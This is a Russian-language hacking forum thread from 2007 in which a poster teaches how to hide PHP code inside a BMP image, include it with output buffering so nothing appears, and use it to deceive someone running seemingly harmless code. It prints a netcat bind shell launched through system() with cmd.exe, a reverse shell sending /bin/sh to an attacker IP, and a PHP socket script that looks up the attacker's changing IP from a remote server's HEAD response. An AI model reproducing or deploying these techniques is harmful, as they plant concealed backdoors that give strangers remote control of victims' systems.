PDA

Просмотр полной версии : php - скрываем начинку


Talisman
17.03.2007, 23:41
Статья по большей части западло, т.к. приватных секретов не рассказываю, а рассказываю только клевые фичи :)))
для затравки советую прочитать 2 статьи (если еще не прочитали):
http://forum.antichat.ru/thread23432-php+%F2%F0%EE%FF%ED.html
и
http://forum.antichat.ru/thread20386-netcat.html
Прочитали? ну тогда дальше:

почему меня она не устроила? слишком мало раскрывают вкусностей :( - причем не раскрывают очевидных :) а именно - маскировка пшп кода.
О примитивных методах я уже писал - http://forum.antichat.ru/thread27118.html - но это не совсем то, о каком методе расскажу сейчас.
чем плох тот? ну... э... тем, что антивирь все равно найдет такой код, покрайней мере его подкрасит, а человек, просматривая сорец найдет его 99%, а наша цель спрятать от человека, т.к. мы впариваем "почти" безобидный код! типа - нака, зацени мое творение! :D
Наша задача засунуть пшп код куданибудь подальше, так, чтобы юзер ничего даже не заподозрил! Где будем ныкать? ну например в картинке :) тут вы можете возразить, мол типа - неоткрываемая пикча подозрительно! ан нет) смотря как редактировать. Вот например - зацените пикчу:
http://img66.imageshack.us/img66/346/testet5.png (http://imageshack.us)
http://slil.ru/24095350 - "боевой" файл в формате бмп (имаджшак ужимает в .png)
в чем накол? на глаз незаметно, а загляните-ка в хекс-редакторе и проматайте в самый низ, удивило, правда?
http://img67.imageshack.us/img67/6363/dumpdn0.th.jpg (http://img67.imageshack.us/my.php?image=dumpdn0.jpg)
в самом начале можно заметить еще и встроеный алерт) зачем он, поймете дальше.
итак, врятли антивирь да и пользователь, точнее наивероятно не будут так палить пикчи а это нам на руку )))
<?
include('test.bmp');
?>но, о черт! нам в браузер вылазит и алерт, и пшп инфо, и самое обидное - весь остальной бред вида ")&$"
нет... это не то, что нам нужно. думаете забить? нет, не забьем, вспоминаем про функции "кеширования" вывода:
@ob_start();
include('test.bmp');
@ob_end_clean();вуаля! в браузер ничего не выводится. теперь думаем, накой я просил прочитать про неткат? а вот зачем - на сокетах кидаем бекконнект, и усе))) да много что - цели добились, кода не видно)
Но! это еще не все) с тем же успехом мы можем сныкать экзешник :)

Talisman
18.03.2007, 00:33
Вкусности, для начала солененькие :)
<? system('C:\nc\nc -l -p 31337 -d -e cmd.exe -L'); ?>теперь немного вкуснее:
локально:
nc -l -n -v -p 80
в код:
nc -e /bin/sh 10.31.3.37 80
тоже солено, скажете вы? ну чтож, а если айпишка кулхацкера динамическая? подсластим раствор:
с помощью сокетов или fopen открываем файл на удаленном сайте с нашим айпи, к которому будем коннектиться. думаете юзать GET, так? а нафиг читали вот это: http://forum.antichat.ru/thread35180.html ???
конечно же юзаем метод HEAD )
итак, код серверного сценария:
<?
header('Root: 127.0.0.1');
?>единственной строчкой с полезной нагрузкой мы выставляем ответное поле хедера - наш айпи, теперь что сунем в контейнер кода - нашу пикчу:
<?php
// открываем сокет на хост: локалост и на 80 порт (стандартный веб)
$fp = fsockopen('lamo.my', 80, $errno, $errstr, 30);
// Проверяем успешность установки соединения
if (!$fp) echo "$errstr ($errno)<br />\n";
else
{
$headers = "HEAD /server.php HTTP/1.1\r\n"; // отвечает за тип протокола!
$headers .= "Host: lamo.my\r\n";
$headers .= "Connection: Close\r\n\r\n";
// Отправляем HTTP-запрос серверу
fwrite($fp, $headers);
// Получаем ответ
$line='';
while (!feof($fp))
{
$line .= fgets($fp, 1024);
}
fclose($fp);
}
echo $line;
?>
естественно, вместо просто вывода инфы наподобие:
HTTP/1.1 200 OK
Date: Sat, 17 Mar 2007 20:26:49 GMT
Server: Apache/1.3.33 (Win32) PHP/4.4.4
X-Powered-By: PHP/4.4.4
Root: 127.0.0.1
Connection: close
Content-Type: text/html
выдираем нужный айпи, и коннектимся к нему.
насчет элементарности - согласен, только 1 вещь - это модель, лучше конечно юзать отксоренный участок кода пикчи (конечно, с оговорками - мы не должны получить "лишнего кода") :) но, как говорится, все гениальное просто :)